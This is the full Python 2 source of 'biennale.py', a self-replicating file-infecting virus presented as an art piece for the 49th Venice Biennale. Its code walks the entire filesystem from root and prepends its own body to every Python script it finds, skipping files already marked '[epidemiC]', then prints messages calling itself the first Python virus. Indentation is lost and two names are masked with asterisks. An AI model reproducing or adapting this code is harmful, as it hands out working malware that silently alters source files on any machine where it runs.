# biennale.py ________________ go to _____ 49th Biennale di Venezia
# HTTP://WWW.0100101110101101.ORG __ + __ [epidemiC] http://www.epidemic.ws
from dircache import *
from string import *
import os, sys
from stat import *
def fornicate(guest):
try:
soul = open(guest, "r")
body = soul.read()
soul.close()
if find(body, "[epidemiC]") == -1:
soul = open(guest, "w")
soul.write(mybody + "\n\n" + body)
soul.close()
except IOError: pass
def chat(party, guest):
if split(guest, ".")[-1] in ("py", "pyw"):
fornicate(party + guest)
def join(party):
try:
if not S_ISLNK(os.stat(party)[ST_MODE]):
guestbook = listdir(party)
if party != "/": party = party + "/"
if not lower(party) in **** and not "__init__.py" in guestbook:
for guest in guestbook:
chat(party, guest)
join(party + guest)
except OSError: pass
if __name__ == '__main__':
mysoul = open(sys.argv[0])
mybody = mysoul.read()
mybody = mybody[:find(mybody, "#"*3) + 3]
mysoul.close()
blacklist = replace(split(sys.exec_prefix,":")[-1], "\\", "/")
if blacklist[-1] != "/": blacklist = blacklist + "/"
**** = [lower(blacklist), "/proc/", "/dev/"]
join("/")
print "> This file was contaminated by biennale.py, the world slowest virus."
print "Either Linux or Windows, biennale.py is definetely the first Python virus."
print "[epidemiC] http://www.epidemic.ws __ + __ HTTP://WWW.0100101110101101.ORG "
print "> ______________________ 49th Biennale di Venezia ______________________ <"
###